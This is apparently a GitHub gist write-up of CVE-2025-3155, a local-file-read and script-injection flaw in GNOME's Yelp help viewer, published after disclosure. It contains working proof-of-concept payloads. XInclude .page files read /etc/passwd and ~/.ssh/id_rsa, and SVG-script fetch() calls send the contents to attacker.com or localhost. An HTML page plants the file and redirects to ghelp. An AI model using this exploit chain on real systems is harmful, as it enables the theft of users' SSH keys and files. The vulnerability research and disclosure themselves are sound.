Skip to content

Instantly share code, notes, and snippets.

@parrot409
Last active April 24, 2025 14:40
Show Gist options
  • Save parrot409/e970b155358d45b298d7024edd9b17f2 to your computer and use it in GitHub Desktop.
Save parrot409/e970b155358d45b298d7024edd9b17f2 to your computer and use it in GitHub Desktop.
CVE-2025-3155 writeup - Affecting Ubuntu distros

Details

Intro

CVE-2025-3155 affects Yelp which is The Gnome's user help application. It's installed by default on Ubuntu desktop.

what is a scheme

A URI scheme is the part of a Uniform Resource Identifier (URI) that identifies a protocol or a specific application (steam://run/1337) that should handle the resource identified by the URI. It's the part that comes before the colon (://).

ghelp scheme

/usr/share/applications/yelp.desktop registers Yelp as the scheme handler of ghelp://.

I couldn't find many resources about this scheme on the internet. however, I found a sample usage that seemed to be working.

$ yelp ghelp:///usr/share/help/C/gnome-calculator/

p5

.page files

The directory listing of /usr/share/help/C/gnome-calculator/ is as follows:

$ ls /usr/share/help/C/gnome-calculator/
absolute.page        conv-time.page    history.page         percentage.page
base.page            conv-weight.page  index.page           power.page
boolean.page         equation.page     keyboard.page        scientific.page
complex.page         factorial.page    legal.xml            superscript.page
conv-base.page       factorize.page    logarithm.page       trigonometry.page
conv-character.page  figures           modulus.page         variables.page
conv-currency.page   financial.page    mouse.page
conv-length.page     functions.page    number-display.page

It contains .page files and a single legal.xml XML file.

Content of index.page (simplified):

$ cat /usr/share/help/C/gnome-calculator/index.page 
<page xmlns="http://projectmallard.org/1.0/"
      xmlns:its="http://www.w3.org/2005/11/its"
      type="guide"
      id="index">
  <info>
    ...
    <title type="link" role="trail">Calculator Help</title>
    <title type="text">Calculator Help</title>
    ...
    <include href="legal.xml" xmlns="http://www.w3.org/2001/XInclude" />
  </info>
  <title>Calculator Help</title>
  ...
  <section id="ui" style="2column">
    <title>User Interface</title>
  </section>
  ...
</page>

.page files are XML files that use the Mallard schema. Each page consists of fields that defines its content, metadata, and how it connects to other pages in the help system.

XInclude

What’s interesting here is that it uses XInclude to embed the content of legal.xml into the document. This means that XInclude processing is enabled. Here's a sample .page file that includes the content of /etc/passwd.

<?xml version="1.0" encoding="utf-8"?>
<page xmlns="http://projectmallard.org/1.0/" id="index">
  <info>
    <title type="text">poc</title>
  </info>
  <section>
    <title>
      <include parse="text" xmlns="http://www.w3.org/2001/XInclude" href="/etc/passwd" />
    </title>
  </section>
</page>

JS execution

Yelp uses an XSLT application (yelp-xsl) to transform the .page file to an HTML file, which will be then rendered by WebKitGtk.

XSLT definition from MDN: XSLT is an XML-based language used, in conjunction with specialized processing software, for the transformation of XML documents. Although the process is referred to as "transformation," the original document is not changed; rather, a new XML document is created based on the content of an existing document. Then, the new document may be serialized (output) by the processor in standard XML syntax or in another format, such as HTML or plain text.

For example, XSLT can be used to insert the content of xpath(//page/info/title) inside a <div id="title"></div> in the output.

The goal here is that if we can inject malicious scripts into the output HTML page, we can send the content included via XInclude to a remote server. Simply appending a script tag or a malicious on* attribute in the input XML document won't work since handling these tags is not defined in the yelp-xsl app.

A simple way to get around this is by finding a code in the XSLT app that copies the element and its children to the output without modifying them. One instance of this usage is handling SVG tags in the input document. The app simply copies the <svg> tag and its content to the output, allowing us to use a <script> tag in a <svg> tag to inject arbitrary scripts.

<?xml version="1.0" encoding="utf-8"?>
<page xmlns="http://projectmallard.org/1.0/" id="index">
  <info>
    <title type="text">poc</title>
  </info>
  <section>
    <title>
      <include parse="text" xmlns="http://www.w3.org/2001/XInclude" href="/etc/passwd"/>
    </title>
    <svg:svg xmlns:svg="http://www.w3.org/2000/svg">
      <svg:script>onload=_=>fetch("http://attacker.com/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"})</svg:script>
    </svg:svg>
  </section>
</page>

Attack scenario

By appending index.page to the download folder of victim and then redirecting user to a ghelp URL that points to the download folder we can execute the attack.

This attack has some limitations:

  • Attacker needs to know the unix username of the victim.
  • Browsers ask the user for permission on redirects to custom schemes.

However, the initial current working directory (CWD) of applications started by GNOME (e.g., using Alt+F2 or dock shortcuts) is the user's home directory. As a result, the CWD of Chrome and Firefox is also set to the user's home directory. We can abuse this behavior to point to the victim's Downloads folder and bypass the first condition.

Note that this behavior may vary across different distros/environments or depending on how the browser is launched.

poc

PoC for stealing ~/.ssh/id_rsa (without the knowledge of unix username).

Env info:

Yelp 42.1
Live Ubuntu 22.04.5 LTS - bfd1cee02bc4f35db939e69b934ba49a39a378797ce9aee20f6e3e3e728fefbf
<!DOCTYPE html>
<html>
<head>
  <title>poc</title>
  <script>
    let payloadPage = `
<?xml version="1.0" encoding="utf-8"?>
<page xmlns="http://projectmallard.org/1.0/" id="index">
  <info>
    <title type="text">poc</title>
  </info>
  <section>
    <title>
      <include parse="text" xmlns="http://www.w3.org/2001/XInclude" href="/proc/self/cwd/.ssh/id_rsa"/>
    </title>
    <svg:svg xmlns:svg="http://www.w3.org/2000/svg">
      <svg:script>onload=_=>fetch("http://localhost:4000/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"})</svg:script>
    </svg:svg>
  </section>
</page>
    `.trim()
    function exp(){
      const blob = new Blob([payloadPage], { type: 'text/plain' });
      const blobURL = URL.createObjectURL(blob);

      const a = document.createElement('a');
      a.href = blobURL;
      a.download = 'index.page';
      document.body.appendChild(a);
      a.click();

      location = `ghelp:///proc/self/cwd/Downloads`
    }
  </script>
</head>
<body>
  <button onclick="exp()">Click Here</button>
</body>
</html>

poc

Timeline

  • December 25, 2024: Vulnerability reported on gitlab.gnome.org.
  • March 26, 2025: Vulnerability disclosed on gitlab.gnome.org (90-day disclosure deadline).
  • April 5, 2025: Article published.

Mitigation

  • Do not open untrusted custom-scheme links.

References

@bazzofx
Copy link

bazzofx commented Apr 9, 2025

Great example and explanation, thank you for sharing

@Sim4n6
Copy link

Sim4n6 commented Apr 13, 2025

Impressive 👏🏼☕

@muelsyse-az
Copy link

Interesting write up. It's a shame that a core app has gone unmaintained, resulting in this kind of situation, hopefully the GNOME community takes this as a lesson to review their core apps more stringently as well.

In the GNOME App Criteria, there are clear guidelines on maintenance, which seem to be not met for Yelp, a core application. In the meantime, it's another sad example of how difficult it is for maintainers to find contributors and time to work on projects.

@slalomsk8er
Copy link

Thank you for the detailed explanation and the /proc/self/cwd/ trick.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment